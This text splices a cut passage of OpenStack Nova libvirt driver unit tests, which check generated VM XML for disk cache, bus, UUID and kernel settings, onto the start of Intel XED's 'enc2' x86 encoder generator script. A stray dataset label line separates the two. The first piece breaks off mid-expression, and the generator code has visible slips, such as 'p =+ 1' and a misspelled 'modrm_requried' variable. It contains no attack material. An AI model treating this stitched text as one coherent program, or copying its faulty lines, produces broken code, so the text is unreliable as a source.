= drv.to_xml(self.context, instance_ref, network_info, disk_info, image_meta) tree = etree.fromstring(xml) disks = tree.findall('./devices/disk/driver') for disk in disks: self.assertEqual(disk.get("cache"), "none") directio_supported = False # The O_DIRECT availability is cached on first use in # LibvirtDriver, hence we re-create it here drv = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) xml = drv.to_xml(self.context, instance_ref, network_info, disk_info, image_meta) tree = etree.fromstring(xml) disks = tree.findall('./devices/disk/driver') for disk in disks: self.assertEqual(disk.get("cache"), "writethrough") def _check_xml_and_disk_bus(self, image_meta, block_device_info, wantConfig): user_context = context.RequestContext(self.user_id, self.project_id) instance_ref = db.instance_create(user_context, self.test_instance) network_info = _fake_network_info(self.stubs, 1) drv = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, block_device_info, image_meta) xml = drv.to_xml(self.context, instance_ref, network_info, disk_info, image_meta, block_device_info=block_device_info) tree = etree.fromstring(xml) got_disks = tree.findall('./devices/disk') got_disk_targets = tree.findall('./devices/disk/target') for i in range(len(wantConfig)): want_device_type = wantConfig[i][0] want_device_bus = wantConfig[i][1] want_device_dev = wantConfig[i][2] got_device_type = got_disks[i].get('device') got_device_bus = got_disk_targets[i].get('bus') got_device_dev = got_disk_targets[i].get('dev') self.assertEqual(got_device_type, want_device_type) self.assertEqual(got_device_bus, want_device_bus) self.assertEqual(got_device_dev, want_device_dev) def _check_xml_and_uuid(self, image_meta): user_context = context.RequestContext(self.user_id, self.project_id) instance_ref = db.instance_create(user_context, self.test_instance) network_info = _fake_network_info(self.stubs, 1) drv = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) xml = drv.to_xml(self.context, instance_ref, network_info, disk_info, image_meta) tree = etree.fromstring(xml) self.assertEqual(tree.find('./uuid').text, instance_ref['uuid']) def _check_xml_and_uri(self, instance, expect_ramdisk, expect_kernel, rescue=None, expect_xen_hvm=False, xen_only=False): user_context = context.RequestContext(self.user_id, self.project_id) instance_ref = db.instance_create(user_context, instance) network_ref = db.project_get_networks(context.get_admin_context(), self.project_id)[0] xen_vm_mode = vm_mode.XEN if expect_xen_hvm: xen_vm_mode = vm_mode.HVM type_uri_map = {'qemu': ('qemu:///system', [(lambda t: t.find('.').get('type'), 'qemu'), (lambda t: t.find('./os/type').text, vm_mode.HVM), (lambda t: t.find('./devices/emulator'), None)]), 'kvm': ('qemu:///system', [(lambda t: t.find('.').get('type'), 'kvm'), (lambda t: t.find('./os/type').text, vm_mode.HVM), (lambda t: t.find('./devices/emulator'), None)]), 'uml': ('uml:///system', [(lambda t: t.find('.').get('type'), 'uml'), (lambda t: t.find('./os/type').text, vm_mode.UML)]), 'xen': ('xen:///', [(lambda t: t.find('.').get('type'), 'xen'), (lambda t: t.find('./os/type').text, xen_vm_mode)])} if expect_xen_hvm or xen_only: hypervisors_to_check = ['xen'] else: hypervisors_to_check = ['qemu', 'kvm', 'xen'] for hypervisor_type in hypervisors_to_check: check_list = type_uri_map[hypervisor_type][1] if rescue: suffix = '.rescue' else: suffix = '' if expect_kernel: check = (lambda t: self.relpath(t.find('./os/kernel').text). split('/')[1], 'kernel' + suffix) else: check = (lambda t: t.find('./os/kernel'), None) check_list.append(check) if expect_kernel: check = (lambda t: "no_timer_check" in t.find('./os/cmdline'). text, hypervisor_type == "qemu") check_list.append(check) # Hypervisors that only support vm_mode.HVM and Xen # should not produce configuration that results in kernel # arguments if not expect_kernel and (hypervisor_type in ['qemu', 'kvm', 'xen']): check = (lambda t: t.find('./os/root'), None) check_list.append(check) check = (lambda t: t.find('./os/cmdline'), None) check_list.append(check) if expect_ramdisk: check = (lambda t: self.relpath(t.find('./os/initrd').text). split('/')[1], 'ramdisk' + suffix) else: check = (lambda t: t.find('./os/initrd'), None) check_list.append(check) if hypervisor_type in ['qemu', 'kvm']: xpath = "./sysinfo/system/entry" check = (lambda t: t.findall(xpath)[0].get("name"), "manufacturer") check_list.append(check) check = (lambda t: t.findall(xpath)[0].text, version.vendor_string()) check_list.append(check) check = (lambda t: t.findall(xpath)[1].get("name"), "product") check_list.append(check) check = (lambda t: t.findall(xpath)[1].text, version.product_string()) check_list.append(check) check = (lambda t: t.findall(xpath)[2].get("name"), "version") check_list.append(check) # NOTE(sirp): empty strings don't roundtrip in lxml (they are # converted to None), so we need an `or ''` to correct for that check = (lambda t: t.findall(xpath)[2].text or '', version.version_string_with_package()) check_list.append(check) check = (lambda t: t.findall(xpath)[3].get("name"), "serial") check_list.append(check) check = (lambda
codeparrot/github-code-clean
#!/usr/bin/env python3 # -*- python -*- #BEGIN_LEGAL # #Copyright (c) 2019 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # #END_LEGAL # This is the "fast" encoder generator known as "enc2". from __future__ import print_function import os import sys import copy import re import argparse import itertools import collections import traceback import find_dir # finds mbuild and adds it to sys.path import mbuild import codegen import read_xed_db import gen_setup import enc2test import enc2argcheck from enc2common import * def get_fname(depth=1): # default is current caller #return sys._getframe(depth).f_code.co_name return traceback.extract_stack(None, depth+1)[0][2] gpr_nt_widths_dict = {} # list indexed by OSZ (o16,o32,o64) gpr_nt_widths_dict['GPRv_SB'] = [16,32,64] gpr_nt_widths_dict['GPRv_R'] = [16,32,64] gpr_nt_widths_dict['GPRv_B'] = [16,32,64] gpr_nt_widths_dict['GPRz_R'] = [16,32,32] gpr_nt_widths_dict['GPRz_B'] = [16,32,32] gpr_nt_widths_dict['GPRy_R'] = [32,32,64] gpr_nt_widths_dict['GPRy_B'] = [32,32,64] gpr_nt_widths_dict['GPR8_R'] = [8,8,8] gpr_nt_widths_dict['GPR8_B'] = [8,8,8] gpr_nt_widths_dict['GPR8_SB'] = [8,8,8] gpr_nt_widths_dict['GPR16_R'] = [16,16,16] gpr_nt_widths_dict['GPR16_B'] = [16,16,16] gpr_nt_widths_dict['GPR32_B'] = [32,32,32] gpr_nt_widths_dict['GPR32_R'] = [32,32,32] gpr_nt_widths_dict['GPR64_B'] = [64,64,64] gpr_nt_widths_dict['GPR64_R'] = [64,64,64] gpr_nt_widths_dict['VGPR32_B'] = [32,32,32] gpr_nt_widths_dict['VGPR32_R'] = [32,32,32] gpr_nt_widths_dict['VGPR32_N'] = [32,32,32] gpr_nt_widths_dict['VGPRy_N'] = [32,32,64] gpr_nt_widths_dict['VGPR64_B'] = [64,64,64] gpr_nt_widths_dict['VGPR64_R'] = [64,64,64] gpr_nt_widths_dict['VGPR64_N'] = [64,64,64] gpr_nt_widths_dict['A_GPR_R' ] = 'ASZ-SIZED-GPR' # SPECIAL gpr_nt_widths_dict['A_GPR_B' ] = 'ASZ-SIZED-GPR' # everything else is not typically used in scalable way. look at other # operand. oc2_widths_dict = {} oc2_widths_dict['v'] = [16,32,64] oc2_widths_dict['y'] = [32,32,64] oc2_widths_dict['z'] = [16,32,32] oc2_widths_dict['b'] = [8,8,8] oc2_widths_dict['w'] = [16,16,16] oc2_widths_dict['d'] = [32,32,32] oc2_widths_dict['q'] = [64,64,64] enc_fn_prefix = "xed_enc" arg_reg_type = 'xed_reg_enum_t ' var_base = 'base' arg_base = 'xed_reg_enum_t ' + var_base var_index = 'index' arg_index = 'xed_reg_enum_t ' + var_index var_indexx = 'index_xmm' arg_indexx = 'xed_reg_enum_t ' + var_indexx var_indexy = 'index_ymm' arg_indexy = 'xed_reg_enum_t ' + var_indexy var_indexz = 'index_zmm' arg_indexz = 'xed_reg_enum_t ' + var_indexz var_vsib_index_dct = { 'xmm': var_indexx, 'ymm': var_indexy, 'zmm': var_indexz } var_scale = 'scale' arg_scale = 'xed_uint_t ' + var_scale var_disp8 = 'disp8' arg_disp8 = 'xed_int8_t ' + var_disp8 var_disp16 = 'disp16' arg_disp16 = 'xed_int16_t ' + var_disp16 var_disp32 = 'disp32' arg_disp32 = 'xed_int32_t ' + var_disp32 var_disp64 = 'disp64' arg_disp64 = 'xed_int64_t ' + var_disp64 var_request = 'r' arg_request = 'xed_enc2_req_t* ' + var_request var_reg0 = 'reg0' arg_reg0 = 'xed_reg_enum_t ' + var_reg0 var_reg1 = 'reg1' arg_reg1 = 'xed_reg_enum_t ' + var_reg1 var_reg2 = 'reg2' arg_reg2 = 'xed_reg_enum_t ' + var_reg2 var_reg3 = 'reg3' arg_reg3 = 'xed_reg_enum_t ' + var_reg3 var_reg4 = 'reg4' arg_reg4 = 'xed_reg_enum_t ' + var_reg4 var_kmask = 'kmask' arg_kmask = 'xed_reg_enum_t ' + var_kmask var_kreg0 = 'kreg0' arg_kreg0 = 'xed_reg_enum_t ' + var_kreg0 var_kreg1 = 'kreg1' arg_kreg1 = 'xed_reg_enum_t ' + var_kreg1 var_kreg2 = 'kreg2' arg_kreg2 = 'xed_reg_enum_t ' + var_kreg2 var_rcsae = 'rcsae' arg_rcsae = 'xed_uint_t ' + var_rcsae var_zeroing = 'zeroing' arg_zeroing = 'xed_bool_t ' + var_zeroing var_imm8 = 'imm8' arg_imm8 = 'xed_uint8_t ' + var_imm8 var_imm8_2 = 'imm8_2' arg_imm8_2 = 'xed_uint8_t ' + var_imm8_2 var_imm16 = 'imm16' arg_imm16 = 'xed_uint16_t ' + var_imm16 var_imm16_2 = 'imm16_2' arg_imm16_2 = 'xed_uint16_t ' + var_imm16_2 var_imm32 = 'imm32' arg_imm32 = 'xed_uint32_t ' + var_imm32 var_imm64 = 'imm64' arg_imm64 = 'xed_uint64_t ' + var_imm64 def special_index_cases(ii): if ii.avx512_vsib or ii.avx_vsib or ii.sibmem: return True return False # if I wanted to prune the number of memory variants, I could set # index_vals to just [True]. index_vals = [False,True] def get_index_vals(ii): global index_vals if special_index_cases(ii): return [True] return index_vals gprv_index_names = { 16:'gpr16_index', 32:'gpr32_index', 64:'gpr64_index'} gprv_names = { 8:'gpr8', 16:'gpr16', 32:'gpr32', 64:'gpr64'} # added gpr8 for convenience gpry_names = { 16:'gpr32', 32:'gpr32', 64:'gpr64'} gprz_names = { 16:'gpr16', 32:'gpr32', 64:'gpr32'} vl2names = { '128':'xmm', '256':'ymm', '512':'zmm', 'LIG':'xmm', 'LLIG':'xmm' } vl2func_names = { '128':'128', '256':'256', '512':'512', 'LIG':'', 'LLIG':'' } bits_to_widths = {8:'b', 16:'w', 32:'d', 64:'q' } arg_immz_dct = { 0: '', 8: arg_imm8, 16: arg_imm16, 32: arg_imm32, 64: arg_imm32 } var_immz_dct = { 0: '', 8: var_imm8, 16: var_imm16, 32: var_imm32, 64: var_imm32 } arg_immz_meta = { 0: '', 8:'int8', 16: 'int16', 32: 'int32', 64: 'int32' } arg_immv_dct = { 0: '', 8: arg_imm8, 16: arg_imm16, 32: arg_imm32, 64: arg_imm64 } var_immv_dct = { 0: '', 8: var_imm8, 16: var_imm16, 32: var_imm32, 64: var_imm64 } arg_immv_meta = { 0: '', 8:'int8', 16: 'int16', 32: 'int32', 64: 'int64' } arg_dispv = { 8: arg_disp8, 16: arg_disp16, 32: arg_disp32, 64: arg_disp64 } # index by dispsz var_dispv = { 8: arg_disp8, 16:var_disp16, 32:var_disp32, 64:var_disp64 } arg_dispz = { 16: arg_disp16, 32: arg_disp32, 64: arg_disp32 } # index by dispsz tag_dispz = { 16: 'int16', 32: 'int32', 64: 'int32' } # index by dispsz var_dispz = { 16:var_disp16, 32:var_disp32, 64:var_disp32 } arg_dispv_meta = { 8:'int8', 16:'int16', 32:'int32', 64:'int64' } widths_to_bits = {'b':8, 'w':16, 'd':32, 'q':64 } widths_to_bits_y = {'w':32, 'd':32, 'q':64 } widths_to_bits_z = {'w':16, 'd':32, 'q':32 } # if I cut the number of displacements by removing 0, I would have to # add some sort of gizmo to omit the displacent if the value of the # displacement is 0, but then that creates a problem for people who # what zero displacements for patching. I could also consider merging # disp8 and disp16/32 and then chose the smallest displacement that # fits, but that also takes away control from the user. def get_dispsz_list(env): return [0,8,16] if env.asz == 16 else [0,8,32] def get_osz_list(env): return [16,32,64] if env.mode == 64 else [16,32] _modvals = { 0: 0, 8: 1, 16: 2, 32: 2 } # index by dispsz def get_modval(dispsz): global _modvals return _modvals[dispsz] def _gen_opnds(ii): # generator # filter out write-mask operands and suppressed operands for op in ii.parsed_operands: if op.lookupfn_name in [ 'MASK1', 'MASKNOT0']: continue if op.visibility == 'SUPPRESSED': continue if op.name == 'BCAST': continue yield op def _gen_opnds_nomem(ii): # generator # filter out write-mask operands and suppressed operands and memops for op in ii.parsed_operands: if op.name.startswith('MEM'): continue if op.lookupfn_name == 'MASK1': continue if op.lookupfn_name == 'MASKNOT0': continue if op.visibility == 'SUPPRESSED': continue if op.name == 'BCAST': continue yield op def first_opnd(ii): op = next(_gen_opnds(ii)) return op def first_opnd_nonmem(ii): op = next(_gen_opnds_nomem(ii)) return op #def second_opnd(ii): # for i,op in enumerate(_gen_opnds(ii)): # if i==1: # return op def op_mask_reg(op): return op_luf_start(op,'MASK') def op_masknot0(op): return op_luf_start(op,'MASKNOT0') def op_scalable_v(op): if op_luf_start(op,'GPRv'): return True if op.oc2 == 'v': return True return False def op_gpr8(op): if op_luf_start(op,'GPR8'): return True if op_reg(op) and op.oc2 == 'b': return True return False def op_gpr16(op): if op_luf_start(op,'GPR16'): return True if op_reg(op) and op.oc2 == 'w': return True return False def op_seg(op): return op_luf_start(op,'SEG') def op_cr(op): return op_luf_start(op,'CR') def op_dr(op): return op_luf_start(op,'DR') def op_gprz(op): return op_luf_start(op,'GPRz') def op_gprv(op): return op_luf_start(op,'GPRv') def op_gpry(op): return op_luf_start(op,'GPRy') def op_vgpr32(op): return op_luf_start(op,'VGPR32') def op_vgpr64(op): return op_luf_start(op,'VGPR64') def op_gpr32(op): return op_luf_start(op,'GPR32') def op_gpr64(op): return op_luf_start(op,'GPR64') def op_ptr(op): if 'PTR' in op.name: return True return False def op_reg(op): if 'REG' in op.name: return True return False def op_mem(op): if 'MEM' in op.name: return True return False def op_agen(op): # LEA if 'AGEN' in op.name: return True return False def op_tmm(op): if op.lookupfn_name: if 'TMM' in op.lookupfn_name: return True return False def op_xmm(op): if op.lookupfn_name: if 'XMM' in op.lookupfn_name: return True return False def op_ymm(op): if op.lookupfn_name: if 'YMM' in op.lookupfn_name: return True return False def op_zmm(op): if op.lookupfn_name: if 'ZMM' in op.lookupfn_name: return True return False def op_mmx(op): if op.lookupfn_name: if 'MMX' in op.lookupfn_name: return True return False def op_x87(op): if op.lookupfn_name: if 'X87' in op.lookupfn_name: return True elif (op.name.startswith('REG') and op.lookupfn_name == None and re.match(r'XED_REG_ST[0-7]',op.bits) ): return True return False def one_scalable_gpr_and_one_mem(ii): # allows optional imm8,immz, one implicit specific reg implicit,n,r,i = 0,0,0,0 for op in _gen_opnds(ii): if op_mem(op): n += 1 elif op_reg(op) and op_implicit_specific_reg(op): implicit += 1 elif op_gprv(op): #or op_gpry(op): r += 1 elif op_imm8(op) or op_immz(op): i += 1 else: return False return n==1 and r==1 and i<=1 and implicit <= 1 def one_gpr_reg_one_mem_scalable(ii): n,r = 0,0 for op in _gen_opnds(ii): if op_agen(op) or (op_mem(op) and op.oc2 in ['v']): n += 1 elif op_gprv(op): r += 1 else: return False return n==1 and r==1 def one_gpr_reg_one_mem_zp(ii): n,r = 0,0 for op in _gen_opnds(ii): if op_mem(op) and op.oc2 in ['p','z']: n += 1 elif op_gprz(op): r += 1 else: return False return n==1 and r==1 def one_gpr_reg_one_mem_fixed(ii): n,r = 0,0 for op in _gen_opnds(ii): # FIXME: sloppy could bemixing b and d operands, for example if op_mem(op) and op.oc2 in ['b', 'w', 'd', 'q','dq']: n += 1 elif op_gpr8(op) or op_gpr16(op) or op_gpr32(op) or op_gpr64(op): r += 1 else: return False return n==1 and r==1 simd_widths = ['b','w','xud', 'qq', 'dq', 'q', 'ps','pd', 'ss', 'sd', 'd', 'm384', 'm512', 'xuq', 'zd'] def one_xmm_reg_one_mem_fixed_opti8(ii): # allows gpr32, gpr64, mmx too global simd_widths i,r,n=0,0,0 for op in _gen_opnds(ii): if op_mem(op) and op.oc2 in simd_widths: n = n + 1 elif (op_xmm(op) or op_mmx(op) or op_gpr32(op) or op_gpr64(op)) and op.oc2 in simd_widths: r = r + 1 elif op_imm8(op): i = i + 1 else: return False return n==1 and r==1 and i<=1 def one_mem_common(ii): # b,w,d,q,dq, v, y, etc. n = 0 for op in _gen_opnds(ii): if op_mem(op) and op.oc2 in ['b','w','d','q','dq','v', 'y', 's', 'mem14','mem28','mem94','mem108', 'mxsave', 'mprefetch', 'mem16', 's64', 'mfpxenv', 'm384', 'm512' ]: n = n + 1 else: return False return n==1 def is_gather_prefetch(ii): if 'GATHER' in ii.attributes: if 'PREFETCH' in ii.attributes: return True return False def is_far_xfer_mem(ii): if 'FAR_XFER' in ii.attributes: for op in _gen_opnds(ii): if op_mem(op) and op.oc2 in ['p','p2']: return True return False def is_far_xfer_nonmem(ii): p,i=0,0 if 'FAR_XFER' in ii.attributes: for op in _gen_opnds(ii): if op_ptr(op): p =+ 1 elif op_imm16(op): i += 1 else: return False return True return i==1 and p==1 def op_reg_invalid(op): if op.bits and op.bits != '1': if op.bits == 'XED_REG_INVALID': return True return False def one_mem_common_one_implicit_gpr(ii): '''memop can be b,w,d,q,dq, v, y, etc. with GPR8 or GPRv''' n,g = 0,0 for op in _gen_opnds(ii): if op_mem(op) and op.oc2 in ['b','w','d','q','dq','v', 'y', 'mem14','mem28','mem94','mem108', 'mxsave', 'mprefetch' ]: n += 1 elif op_reg(op) and op_implicit(op) and not op_reg_invalid(op): # FIXME: could improve the accuracy by enforcing GPR. but # not sure if that is strictly necessary. Encoding works... g += 1 else: return False return n==1 and g==1 def one_mem_fixed_imm8(ii): # b,w,d,q,dq, etc. n = 0 i = 0 for op in _gen_opnds(ii): if op_mem(op) and op.oc2 in ['b','w','d','q','dq', 'v', 'y', 'mem14','mem28','mem94','mem108']: n = n + 1 elif op_imm8(op): i = i + 1 else: return False return n==1 and i==1 def one_mem_fixed_immz(ii): # b,w,d,q,dq, etc. n = 0 i = 0 for op in _gen_opnds(ii): if op_mem(op) and op.oc2 in ['b','w','d','q','dq', 'v', 'y', 'mem14','mem28','mem94','mem108']: n = n + 1 elif op_immz(op): i = i + 1 else: return False return n==1 and i==1 def two_gpr_one_scalable_one_fixed(ii): f,v = 0,0 for op in _gen_opnds(ii): if op_reg(op) and op_scalable_v(op): v += 1 elif op_reg(op) and (op_gpr8(op) or op_gpr16(op) or op_gpr32(op)): f += 1 else: return False return v==1 and f==1 def two_scalable_regs(ii): # allow optional imm8, immz, allow one implicit GPR n,i,implicit = 0,0,0 for op in _gen_opnds(ii): if op_reg(op) and op_scalable_v(op): n += 1 elif op_reg(op) and op_implicit_specific_reg(op): implicit += 1 elif op_imm8(op) or op_immz(op): i += 1 else: return False return n==2 and i <= 1 and implicit <= 1 def op_implicit(op): return op.visibility == 'IMPLICIT' def op_implicit_or_suppressed(op): return op.visibility in ['IMPLICIT','SUPPRESSED'] def one_x87_reg(ii): n = 0 for op in _gen_opnds(ii): if op_reg(op) and op_x87(op) and not op_implicit(op): n = n + 1 else: return False return n==1 def two_x87_reg(ii): # one implicit n = 0 implicit = 0 for op in _gen_opnds(ii): if op_reg(op) and op_x87(op): n = n + 1 if op_implicit(op): implicit = implicit + 1 else: return False return n==2 and implicit == 1 def one_x87_implicit_reg_one_memop(ii): mem,implicit_reg = 0,0 for op in _gen_opnds(ii): if op_reg(op) and op_x87(op): if op_implicit(op): implicit_reg = implicit_reg + 1 else: return False elif op_mem(op): mem = mem + 1 else: return False return mem==1 and implicit_reg==1 def zero_operands(ii):# allow all implicit regs n = 0 for op in _gen_opnds(ii): if op_implicit(op): continue n = n + 1 return n == 0 def one_implicit_gpr_imm8(ii): '''this allows implicit operands''' n = 0 for op in _gen_opnds(ii): if op_imm8(op): n = n + 1 elif op_implicit(op): continue else: return False return n == 1 def op_implicit_specific_reg(op): if op.name.startswith('REG'): if op.bits and op.bits.startswith('XED_REG_'): return True return False def one_gprv_one_implicit(ii): n,implicit = 0,0 for op in _gen_opnds(ii): if op_gprv(op): n += 1 elif op_implicit_specific_reg(op): implicit += 1 else: return False return n == 1 and implicit == 1 def one_gpr8_one_implicit(ii): n,implicit = 0,0 for op in _gen_opnds(ii): if op_gpr8(op): n += 1 elif op_implicit_specific_reg(op): implicit += 1 else: return False return n == 1 and implicit == 1 def one_nonmem_operand(ii): n = 0 for op in _gen_opnds(ii): if op_mem(op): return False if op_implicit_or_suppressed(op): # for RCL/ROR etc with implicit imm8 continue n = n + 1 return n == 1 def two_gpr8_regs(ii): n = 0 for op in _gen_opnds(ii): if op_reg(op) and op_gpr8(op): n = n + 1 else: return False return n==2 def op_immz(op): if op.name == 'IMM0': if op.oc2 == 'z': return True return False def op_immv(op): if op.name == 'IMM0': if op.oc2 == 'v': return True return False def op_imm8(op): if op.name == 'IMM0': if op.oc2 == 'b': if op_implicit_or_suppressed(op): return False return True return False def op_imm16(op): if op.name == 'IMM0': if op.oc2 == 'w': return True return False def op_imm8_2(op): if op.name == 'IMM1': if op.oc2 == 'b': return True return False def one_mmx_reg_imm8(ii): n = 0 for i,op in enumerate(_gen_opnds(ii)): if op_reg(op) and op_mmx(op): n = n + 1 elif i == 1 and op_imm8(op): continue else: return False return n==1 def one_xmm_reg_imm8(ii): # also allows SSE4 2-imm8 instr i,j,n=0,0,0 for op in _gen_opnds(ii): if op_reg(op) and op_xmm(op): n += 1 elif op_imm8(op): i += 1 elif op_imm8_2(op): j += 1 else: return False return n==1 and i==1 and j<=1 def two_xmm_regs_imm8(ii): n = 0 for i,op in enumerate(_gen_opnds(ii)): if op_reg(op) and op_xmm(op): n = n + 1 elif i == 2 and op_imm8(op): continue else: return False return n==2 def gen_osz_list(mode, osz_list): """skip osz 64 outside of 64b mode""" for osz in osz_list: if mode != 64 and osz == 64: continue yield osz def modrm_reg_first_operand(ii): op = first_opnd(ii) if op.lookupfn_name: if op.lookupfn_name.endswith('_R'): return True if op.lookupfn_name.startswith('SEG'): return True return False def emit_required_legacy_prefixes(ii,fo): if ii.iclass.endswith('_LOCK'): fo.add_code_eol('emit(r,0xF0)') if ii.f2_required: fo.add_code_eol('emit(r,0xF2)', 'required by instr') if ii.f3_required: fo.add_code_eol('emit(r,0xF3)', 'required by instr') if ii.osz_required: fo.add_code_eol('emit(r,0x66)', 'required by instr') def emit_67_prefix(fo): fo.add_code_eol('emit(r,0x67)', 'change EASZ') def emit_required_legacy_map_escapes(ii,fo): if ii.map == 1: fo.add_code_eol('emit(r,0x0F)', 'escape map 1') elif ii.map == 2: fo.add_code_eol('emit(r,0x0F)', 'escape map 2') fo.add_code_eol('emit(r,0x38)', 'escape map 2') elif ii.map == 3: fo.add_code_eol('emit(r,0x0F)', 'escape map 3') fo.add_code_eol('emit(r,0x3A)', 'escape map 3') elif ii.amd_3dnow_opcode: fo.add_code_eol('emit(r,0x0F)', 'escape map 3dNOW') fo.add_code_eol('emit(r,0x0F)', 'escape map 3dNOW') def get_implicit_operand_name(op): if op_implicit(op): if op.name.startswith('REG'): if op.bits and op.bits.startswith('XED_REG_'): reg_name = re.sub('XED_REG_','',op.bits).lower() return reg_name elif op.lookupfn_name: ntluf = op.lookupfn_name return ntluf elif op.name == 'IMM0' and op.type == 'imm_const' and op.bits == '1': return 'one' die("Unhandled implicit operand {}".format(op)) return None def _gather_implicit_regs(ii): names = [] for op in _gen_opnds(ii): nm = get_implicit_operand_name(op) if nm: names.append(nm) return names def _implicit_reg_names(ii): extra_names = _gather_implicit_regs(ii) if extra_names: extra_names = '_' + '_'.join( extra_names ) else: extra_names = '' return extra_names def emit_vex_prefix(env, ii, fo, register_only=False): if ii.map == 1 and ii.rexw_prefix != '1': # if any of x,b are set, need c4, else can use c5 # performance: we know statically if something is register # only. In which case, we can avoid testing rexx. if env.mode == 64: if register_only: fo.add_code('if (get_rexb(r))') else: fo.add_code('if (get_rexx(r) || get_rexb(r))') fo.add_code_eol(' emit_vex_c4(r)') fo.add_code('else') fo.add_code_eol(' emit_vex_c5(r)') else: fo.add_code_eol('emit_vex_c5(r)') else: fo.add_code_eol('emit_vex_c4(r)') def emit_opcode(ii,fo): if ii.amd_3dnow_opcode: return # handled later. See add_enc_func() opcode = "0x{:02X}".format(ii.opcode_base10) fo.add_code_eol('emit(r,{})'.format(opcode), 'opcode') def create_modrm_byte(ii,fo): mod,reg,rm = 0,0,0 modrm_required = False if ii.mod_required: if ii.mod_required in ['unspecified']: pass elif ii.mod_required in ['00/01/10']: modrm_requried = True else: mod = ii.mod_required modrm_required = True if ii.reg_required: if ii.reg_required in ['unspecified']: pass else: reg = ii.reg_required modrm_required = True if ii.rm_required: if ii.rm_required in ['unspecified']: pass else: rm = ii.rm_required modrm_required = True if modrm_required: modrm = (mod << 6) | (reg<<3) | rm fo.add_comment('MODRM = 0x{:02x}'.format(modrm)) if mod: # ZERO INIT OPTIMIZATION fo.add_code_eol('set_mod(r,{})'.format(mod)) if reg: # ZERO INIT OPTIMIZATION fo.add_code_eol('set_reg(r,{})'.format(reg)) if rm: # ZERO INIT OPTIMIZATION fo.add_code_eol('set_rm(r,{})'.format(rm)) return modrm_required numbered_function_creators = collections.defaultdict(int) def dump_numbered_function_creators(): global numbered_function_creators for k,val in sorted(numbered_function_creators.items(), key=lambda x: x[1]): print("NUMBERED FN CREATORS: {:5d} {:30s}".format(val,k)) numbered_functions = 0 def make_function_object(env, ii, fname, return_value='void', asz=None): '''Create function object. Augment function name for conventions ''' global numbered_functions global numbered_function_creators if 'AMDONLY' in ii.attributes: fname += '_amd' if ii.space == 'evex': fname += '_e' # Distinguish the 16/32b mode register-only functions to avoid # name collisions. The stuff references memory has an # "_a"+env.asz suffix. The non-memory stuff can still have name # collisions. To avoid those collisions, I append _md16 or _md32 # to the function names. if asz: fname += '_a{}'.format(asz) elif env.mode in [16,32]: fname += '_md{}'.format(env.mode) if fname in env.function_names: numbered_functions += 1 t = env.function_names[fname] + 1 env.function_names[fname] = t fname = '{}_vr{}'.format(fname,t) numbered_function_creators[get_fname(2)] += 1 #msge("Numbered function name for: {} from {}".format(fname, get_fname(2))) else: env.function_names[fname] = 0 fo = codegen.function_object_t(fname, return_value, dll_export=True) if ii.iform: fo.add_comment(ii.iform) return fo def make_opnd_signature(env, ii, using_width=None, broadcasting=False, special_xchg=False): '''This is the heart of the naming conventions for the encode functions. If using_width is present, it is used for GPRv and GPRy operations to specify a width. ''' global vl2func_names, widths_to_bits, widths_to_bits_y, widths_to_bits_z def _translate_rax_name(w): rax_names = { 16: 'ax', 32:'eax', 64:'rax' } osz = _translate_width_int(w) return rax_names[osz] def _translate_eax_name(w): eax_names = { 16: 'ax', 32:'eax', 64:'eax' } osz = _translate_width_int(w) return eax_names[osz] def _translate_r8_name(w): # uppercase to try to differentiate r8 (generic 8b reg) from R8 64b reg r8_names = { 16: 'R8W', 32:'R8D', 64:'R8' } osz = _translate_width_int(w) return r8_names[osz] def _translate_width_int(w): if w in [8,16,32,64]: return w return widths_to_bits[w] def _translate_width(w): return str(_translate_width_int(w)) def _translate_width_y(w): if w in [32,64]: return str(w) elif w == 16: return '32' return str(widths_to_bits_y[w]) def _translate_width_z(w): if w in [16,32]: return str(w) elif w == 64: return '32' return str(widths_to_bits_z[w]) def _convert_to_osz(w): if w in [16,32,64]: return w elif w in widths_to_bits: return widths_to_bits[w] else: die("Cannot convert {}".format(w) ) s = [] for op in _gen_opnds(ii): if op_implicit(op): nm = get_implicit_operand_name(op) if nm in ['OrAX'] and using_width: s.append( _translate_rax_name(using_width) ) elif nm in ['OeAX'] and using_width: s.append( _translate_eax_name(using_width) ) else: s.append(nm) continue # for the modrm-less MOV instr if op.name.startswith('BASE'): continue if op.name.startswith('INDEX'): continue if op_tmm(op): s.append('t') elif op_xmm(op): s.append('x') elif op_ymm(op): s.append('y') elif op_zmm(op): s.append('z') elif op_mask_reg(op): s.append('k') elif op_vgpr32(op): s.append('r32') elif op_vgpr64(op): s.append('r64') #FIXME something else elif op_gpr8(op): s.append('r8') elif op_gpr16(op): s.append('r16') elif op_gpr32(op): s.append('r32') elif op_gpr64(op): s.append('r64') #FIXME something else elif op_gprv(op): if special_xchg: s.append(_translate_r8_name(using_width)) else: s.append('r' + _translate_width(using_width)) elif op_gprz(op): s.append('r' + _translate_width_z(using_width)) elif op_gpry(op): s.append('r' + _translate_width_y(using_width)) elif op_agen(op): s.append('m') # somewhat of a misnomer elif op_mem(op): if op.oc2 == 'b': s.append('m8') elif op.oc2 == 'w': s.append('m16') elif op.oc2 == 'd': s.append('m32') elif op.oc2 == 'q': s.append('m64') elif op.oc2 == 'ptr': # sibmem s.append('mptr') #elif op.oc2 == 'dq': don't really want to start decorating the wider memops # s.append('m128') elif op.oc2 == 'v' and using_width: s.append('m' + _translate_width(using_width)) elif op.oc2 == 'y' and using_width: s.append('m' + _translate_width_y(using_width)) elif op.oc2 == 'z' and using_width: s.append('m' + _translate_width_z(using_width)) else: osz = _convert_to_osz(using_width) if using_width else 0 if op.oc2 == 'tv' or op.oc2.startswith('tm'): bits = 'tv' elif op.oc2 == 'vv': # read_xed_db figures out the memop width for # no-broadcast and broadcasting cases for EVEX # memops. if broadcasting: bits = ii.element_size else: bits = ii.memop_width else: bits = 